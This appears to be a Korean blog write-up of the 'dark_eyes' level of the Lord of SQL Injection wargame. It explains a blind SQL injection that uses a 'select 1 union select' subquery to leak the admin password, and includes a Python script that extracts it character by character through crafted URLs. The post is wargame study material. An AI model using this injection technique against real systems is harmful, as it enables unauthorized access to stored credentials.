if가 막혔다. select union으로 이를 우회하겠다 .
이제 에러메세지가 뜨질 않기 때문에 이를 생각하고 자동화를 해야한다.
union select를 통해 이전 쿼리의 결과와 값을 합쳐서 나타낼 수 있다. 다만 컬럼의 수가 동일해야한다!
먼저 비밀번호의 길이를 구하였다. 이 원리는 서브쿼리는 레코드가 무조건 한개여야한다는 원리로, length(pw)=8일시에는 1이 반환되고 아닐 시에는 0,1 이 반환되어 에러가 뜨는 것이다. 일단 비밀번호의 길이는 8자라는 것을 알았다!
또한 비밀번호가 ascii로 인코딩 되있다는 것도 알아냈다.
이제 자동화를 돌려줄 수 있을 것 같다. (select 1 union select substr(pw,1,1)=?) 으로 구해줄 수 있을 것이다. 만약 참이라면 결과값에 select 라는 문자열이 무조건 존재한다. 그런데 여기서 문제가 생겼다 .
첫번째 문자가 102이하는 참.
102 초과는 거짓. 그러면 첫번째 문자의 ascii 번호는 102여야 한다.
그런데 102가 아니라고 했다... 일단 무시하고 찾아보았다.
이렇게 나왔는데 틀렸다. 생각해보니 id가 여러개 있을 수 있다는 생각을 해서 id='admin'을 추가해주었다.
통과했다! 그런데 위에서 왜 =이 안먹히는지는 잘 모르겠다.
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
header={"Cookie":"****"}
password=''
a=''
for i in range(1,9) :
admin=0
guest=0
b=[0,0,0,0]
for k in range(32,0xff) :
if k>=ord('A') and k<=ord('Z') :
continue
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=%27%20or%20\
id='admin' and\
(select%201%20union%20select%20(ascii(substr(pw,"\
+str(i)+",1))<="+str(k)+"))%23"
request=requests.get(url,headers=header)
if "select" in request.text :
print(chr(k))
break
password+=chr(k)
print(password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
[los] evil_wizard (0) | 2020.12.15 |
---|---|
[los]hell fire (0) | 2020.12.15 |
[los]iron golem (0) | 2020.12.14 |
[los] dragon (0) | 2020.11.23 |
[los] xavis (0) | 2020.11.23 |